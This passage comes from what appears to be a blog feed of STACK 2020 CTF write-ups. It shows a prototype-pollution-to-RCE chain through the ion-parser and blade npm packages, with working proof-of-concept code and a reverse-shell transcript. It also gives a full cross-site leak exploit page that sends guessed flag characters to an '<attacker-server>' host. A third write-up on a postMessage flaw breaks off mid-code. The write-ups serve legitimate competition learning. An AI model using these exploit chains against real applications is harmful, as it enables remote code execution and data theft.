<span class="o">{</span>__.line<span class="o">=</span>8,__.col<span class="o">=</span>21<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<li'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>9,__.col<span class="o">=</span>25<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<a'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"href"</span>:<span class="o">{</span>v:nav[i],e:1<span class="o">}</span>,<span class="s2">"somename"</span>:<span class="o">{</span>v:undefined<span class="o">}</span>,<span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span>+__.r.escape<span class="o">(</span>i
<span class="o">)</span>+<span class="s1">'</a>'</span>+<span class="s1">'</li>'</span><span class="o">)</span><span class="p">;</span><span class="o">}</span>__.push<span class="o">(</span><span class="s1">'</ul>'</span>+<span class="s1">'</div>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>10,__.col<span class="o">=</span>9<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<div'</span>+<span class="s1">' id="content"'</span>+<span class="s1">' class="center"'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>11,__.col<span class="o">=</span>13<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<h1'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span>+<span class="s2">"Blade is cool"</span>+<span class="s1">'</h1>'</span>+<span class="s1">'</div>'</span>+<span class="s1">'</body>'</span>+<span class="s1">'</html>'</span><span class="o">)</span><span class="p">;</span><span class="o">}}</span> catch<span class="o">(</span>e<span class="o">){</span><span class="k">return </span>cb<span class="o">(</span>__.r.rethrow<span class="o">(</span>e, __<span class="o">)</span> <span class="o">)</span><span class="p">;</span><span class="o">}</span><span class="k">if</span><span class="o">(!</span>__.inc<span class="o">)</span> __.r.done<span class="o">(</span>__<span class="o">)</span><span class="p">;</span>cb<span class="o">(</span>null, __.join<span class="o">(</span><span class="s2">""</span><span class="o">)</span>, __<span class="o">)</span><span class="p">;</span>
<span class="nt">---------------------------------------------</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We can observe that <code class="language-plaintext highlighter-rouge">somename</code> is reflected in the compiled template, however, we were not able to escape the double-quote string context in order to inject arbitrary JavaScript. Therefore, the next step from here is to find a property that would allow us to inject arbitrary JavaScript code into the compiled template. <strong><em>Back to blade’s source code..</em></strong></p>
<p>Looking at the compiler code for Blade, we can find this segment that handles the compiled template based on the attribute type:</p>
<blockquote class="filename">
<p>blade/lib/compiler.js</p>
</blockquote>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre><span class="o">**</span> <span class="nx">truncated</span> <span class="o">**</span>
<span class="c1">//take care of text attributes here</span>
<span class="k">if</span><span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">text</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">escape</span><span class="p">)</span>
<span class="k">this</span><span class="p">.</span><span class="nx">_push</span><span class="p">(</span><span class="dl">"</span><span class="s2">' </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">=</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">bladeutil</span><span class="p">.</span><span class="nx">quote</span><span class="p">(</span>
<span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">escape</span><span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">text</span><span class="p">))</span> <span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">'</span><span class="dl">"</span><span class="p">);</span>
<span class="k">else</span>
<span class="k">this</span><span class="p">.</span><span class="nx">_push</span><span class="p">(</span><span class="dl">"</span><span class="s2">' </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">=</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">bladeutil</span><span class="p">.</span><span class="nx">quote</span><span class="p">(</span>
<span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">text</span><span class="p">)</span> <span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">'</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">//take care of code attributes here</span>
<span class="k">else</span>
<span class="nx">varAttrs</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">:{v:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">code</span> <span class="o">+</span>
<span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">escape</span> <span class="p">?</span> <span class="dl">"</span><span class="s2">,e:1</span><span class="dl">"</span> <span class="p">:</span> <span class="dl">""</span><span class="p">)</span> <span class="o">+</span>
<span class="p">(</span><span class="nx">i</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">class</span><span class="dl">"</span> <span class="o">&&</span> <span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">append</span> <span class="p">?</span>
<span class="dl">"</span><span class="s2">,a:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">append</span><span class="p">):</span> <span class="dl">""</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">}</span><span class="dl">"</span><span class="p">;</span>
<span class="o">**</span> <span class="nx">truncated</span> <span class="o">**</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>It seems like if we are able to inject a node with code attribute, we would be able to inject arbitrary JavaScript into the final compiled template and when executed in the runtime, give us RCE.</p>
<p>We can test this out by running the following:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre><span class="kd">const</span> <span class="nx">blade</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">blade</span><span class="dl">'</span><span class="p">);</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">someprop</span> <span class="o">=</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">name</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">somename</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">value</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">somevalue</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">code</span><span class="dl">'</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">process.mainModule.require('child_process').execSync(`whoami`)</span><span class="dl">"</span>
<span class="p">};</span>
<span class="kd">const</span> <span class="nx">template</span> <span class="o">=</span> <span class="s2">`html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`</span><span class="p">;</span>
<span class="nx">blade</span><span class="p">.</span><span class="nx">compile</span><span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="p">{</span><span class="dl">'</span><span class="s1">debug</span><span class="dl">'</span><span class="p">:</span> <span class="kc">true</span><span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">tmpl</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">tmpl</span><span class="p">({</span><span class="dl">'</span><span class="s1">nav</span><span class="dl">'</span><span class="p">:</span> <span class="p">[]},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">html</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">html</span><span class="p">,</span> <span class="nx">err</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>With that, we can combine our exploit for <strong>ion-parser</strong> and <strong>blade</strong>, to exploit the prototype pollution in <strong>ion-parser</strong> in order to inject into the AST for <strong>blade</strong> giving us RCE.</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre><span class="kd">const</span> <span class="nx">blade</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">blade</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">parse</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ion-parser</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">config</span> <span class="o">=</span> <span class="nx">parse</span><span class="p">(</span><span class="s2">`
test = 'Hey universe'
[__proto__.someprop]
name = "somename"
value = "somevalue"
code = "process.mainModule.require('child_process').execSync(\`whoami\`)"
`</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">template</span> <span class="o">=</span> <span class="s2">`html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`</span><span class="p">;</span>
<span class="nx">blade</span><span class="p">.</span><span class="nx">compile</span><span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="p">{</span><span class="dl">'</span><span class="s1">debug</span><span class="dl">'</span><span class="p">:</span> <span class="kc">true</span><span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">tmpl</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">tmpl</span><span class="p">({</span><span class="dl">'</span><span class="s1">nav</span><span class="dl">'</span><span class="p">:</span> <span class="p">[]},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">html</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">html</span><span class="p">,</span> <span class="nx">err</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></figure>
<h3 id="getting-the-flag">Getting the flag</h3>
<p>With our exploit in hand, we can craft a HTTP request to the challenge website to get a reverse shell:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre>Connection from node-02.challenges.stacks2020 35917 received!
→ <span class="nb">ls
</span>Dockerfile.dev
app.js
bin
config
flag.txt
migrations
models
node_modules
package-lock.json
package.json
public
routes
seeders
views
wait-for-db.sh
watcher.js
→ <span class="nb">cat </span>flag.txt
govtech-csg<span class="o">{</span>P01lU+3d_t3Mpl@t3<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And we have our flag: <strong><em>govtech-csg{P01lU+3d_t3Mpl@t3}</em></strong></p>
<p><a href="https://quanyang.github.io/stack-2020-final-countdown/">STACK the flags 2020 CTF - Final Countdown</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on December 12, 2020.</p>
https://quanyang.github.io/stack-2020-ransom-me-this2020-12-11T03:56:30+00:002020-12-11T03:56:30+00:00Yeo Quan Yanghttps://quanyang.github.io
<p><img src="https://quanyang.github.io/resources/images/stack/scoreboard.jpg" alt="" /></p>
<p>STACK 2020 CTF is a capture the flag <a href="https://ctf.tech.gov.sg/">organized by GovTech</a>. We participated as PwningActionParty and achieved third place in the open category.</p>
<h1 id="ransom-me-this">Ransom Me This</h1>
<p><strong>Category:</strong> Web<br />
<strong>Description:</strong>
COViD’s victims received a link to this portal to submit their ransoms! Can you unlock the keys without paying the ransom?</p>
<hr />
<p><img src="https://quanyang.github.io/resources/images/stack/ransom-me-this.png" alt="" width="600px" /></p>
<p>There are two parts to this website:</p>
<ol>
<li>The ransom submission</li>
<li>The hacked website search</li>
</ol>
<h3 id="the-first-step-is-to-try-to-observe-the-behavior-each-feature-exhibits">The first step is to try to observe the behavior each feature exhibits</h3>
<p><strong><em>1. The ransom submission</em></strong></p>
<p>This makes a POST request to <code class="language-plaintext highlighter-rouge">http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/</code> and the response doesn’t seem to indicate any difference from the initial landing page.</p>
<p>However, using Burp Collaborator, we can test that a HTTP request is subsequently made to the URL we provided.</p>
<figure class="highlight"><pre><code class="language-linenos" data-lang="linenos">GET / HTTP/1.1
Host: z44ebo81l5aokow0blhot5cp3g98xx.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US</code></pre></figure>
<p>Notice that the user agent implies that this was made from a headless chrome instance, for now, there doesn’t seem to be any other interesting behavior for this feature.</p>
<p><strong><em>2. The hacked website search</em></strong></p>
<p>This feature is located at <code class="language-plaintext highlighter-rouge">http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q=</code> and embedded in an iFrame.</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre><span class="kd">var</span> <span class="nx">numResults</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">4</span><span class="dl">"</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="nx">numResults</span><span class="p">,</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>From the inline JavaScript on the page, we see that it posts the number of search results as a message to the parent website embedding this iFrame, this is interesting because it specifies a wildcard target origin and the page itself allows being embedded from a different origin than itself. Keep this in mind, this primitive could be useful for leaking information across origins.</p>
<p>From the response of the site, there seems to be encryption key hidden from the search results, probably intentional since we might not be “authenticated” to view them.</p>
<h3 id="hypothesis">Hypothesis</h3>
<p>From the information we have on hand, we can hypothesis where the flag might be located:</p>
<ol>
<li>The HTTP request made from the headless chrome seem to imply that we need to make use of this feature in order to obtain the flag, and that we might need to utilize some browser feature (JavaScript methods, etc).</li>
<li>The cross-site information leak primitive seems to imply that we need to embed this page in our final exploit and to use the primitive to leak information on the flag.</li>
</ol>
<p>Therefore, I can hypothesize that the flag is stored as a hidden encryption key, and we need to load our exploit payload in a website loaded by feature #1, and making use of the cross-site leak to leak the flag in feature #2.</p>
<h3 id="exploit">Exploit</h3>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">success</span> <span class="o">=</span> <span class="nb">parseInt</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">success</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">var</span> <span class="nx">iframes</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">iframes</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">source</span> <span class="o">===</span> <span class="nx">iframes</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">contentWindow</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Do stuff with iframes[i]</span>
<span class="kd">var</span> <span class="nx">img</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">img</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">img</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">http://<attacker-server>:8003?</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">iframes</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">src</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">img</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><=</span> <span class="mi">127</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">s</span> <span class="o">=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">iframe</span><span class="p">.</span><span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q=<?php echo $_GET['flag'];?></span><span class="dl">"</span><span class="o">+</span><span class="nx">s</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">iframe</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This is my final exploit, it makes use of feature #2 to guess the flag character by character, and if the guess is correct, the message data should contain an non-zero integer, and if that happens, we cause a callback to our webserver to inform us.</p>
<p>Hosting this page on a webserver, I post the URL of the exploit page to feature #1 and incrementally guess the flag.</p>
<p><img src="https://quanyang.github.io/resources/images/stack/ransom-me-this-guess.png" alt="" /></p>
<p>Eventually we obtain our flag: <code class="language-plaintext highlighter-rouge">govtech-csg{Se@RcH_@nD_d3sTr0y}</code></p>
<p><a href="https://quanyang.github.io/stack-2020-ransom-me-this/">STACK the flags 2020 CTF - Ransom Me This</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on December 11, 2020.</p>
https://quanyang.github.io/stack-2020-you-shall-not-pass2020-12-11T03:23:16+00:002020-12-11T03:23:16+00:00Yeo Quan Yanghttps://quanyang.github.io
<p><img src="https://quanyang.github.io/resources/images/stack/scoreboard.jpg" alt="" /></p>
<p>STACK 2020 CTF is a capture the flag <a href="https://ctf.tech.gov.sg/">organized by GovTech</a>. We participated as PwningActionParty and achieved third place in the open category.</p>
<h1 id="unlock-me">Unlock Me</h1>
<p><strong>Category:</strong> Web<br />
<strong>Description:</strong>
We discovered a web portal used by COViD as a C2 platform to send messages to his ransomware victims. They have a script that accesses and hacks the websites posted back to the server! Can you stop them?</p>
<hr />
<p><img src="https://quanyang.github.io/resources/images/stack/you-shall-not-pass.png" alt="" width="400px" /></p>
<p>The webpage appears to be a simple Command&Control (C2) platform with two feature:</p>
<ol>
<li>Add a new website to your list of hacked websites.</li>
<li>Broadcast messages to your victims.</li>
</ol>
<h3 id="the-first-step-is-to-try-to-observe-the-behavior-each-feature-exhibits">The first step is to try to observe the behavior each feature exhibits</h3>
<p><strong><em>1. Add a new website to your list of hacked websites</em></strong></p>
<p>From monitoring the network requests, we see that a POST request is made to <code class="language-plaintext highlighter-rouge">http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/link</code> with the provided URL in the POST body.</p>
<figure class="highlight"><pre><code class="language-linenos" data-lang="linenos">GET / HTTP/1.1
Host: as6pzzwc9gyz8zkbzw5zhg00rrxil7.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US</code></pre></figure>
<p>Using Burp Collaborator, we can easily see that a HTTP request was made to the URL provided through a headless chrome instance.</p>
<p>However, since the response from the request is not returned to the user, we can’t escalate this blind SSRF any further.</p>
<p><strong><em>2. Broadcast messages to your victim</em></strong></p>
<p>From the network requests, we see that a POST request is made to <code class="language-plaintext highlighter-rouge">http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcast</code>, however, this doesn’t seem to result in any network call(s) made to the victim URL from feature 1.</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre> <span class="kd">var</span> <span class="nx">broadcastForm</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">broadcastForm</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">broadcastForm</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">submit</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
<span class="nx">event</span><span class="p">.</span><span class="nx">stopPropagation</span><span class="p">();</span>
<span class="kd">var</span> <span class="nx">searchData</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormData</span><span class="p">(</span><span class="nx">broadcastForm</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">broadcast</span> <span class="o">=</span> <span class="nx">searchData</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">broadcast</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/broadcast</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
<span class="na">mode</span><span class="p">:</span> <span class="dl">'</span><span class="s1">cors</span><span class="dl">'</span><span class="p">,</span>
<span class="na">cache</span><span class="p">:</span> <span class="dl">'</span><span class="s1">no-cache</span><span class="dl">'</span><span class="p">,</span>
<span class="na">credentials</span><span class="p">:</span> <span class="dl">'</span><span class="s1">same-origin</span><span class="dl">'</span><span class="p">,</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span>
<span class="p">},</span>
<span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
<span class="na">broadcast</span><span class="p">:</span> <span class="nx">broadcast</span>
<span class="p">})</span>
<span class="p">});</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">status</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">broadcasts</span><span class="dl">'</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="nx">broadcast</span><span class="p">,</span> <span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">})</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Looking at the JavaScript code, we can understand that upon a successful response from the backend, the broadcast message is sent to the iFrame using postMessage.</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">,</span> <span class="nx">receiveMessage</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
<span class="kd">function</span> <span class="nx">receiveMessage</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// verify sender is trusted</span>
<span class="k">if</span> <span class="p">(</span>
<span class="o">!</span><span class="sr">/^http:</span><span class="se">\/\/</span><span class="sr">yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span>
<span class="nx">event</span><span class="p">.</span><span class="nx">origin</span>
<span class="p">)</span>
<span class="p">)</span> <span class="p">{</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// display message</span>
<span class="nx">msg</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">off</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">#95A799</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">on</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">black</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
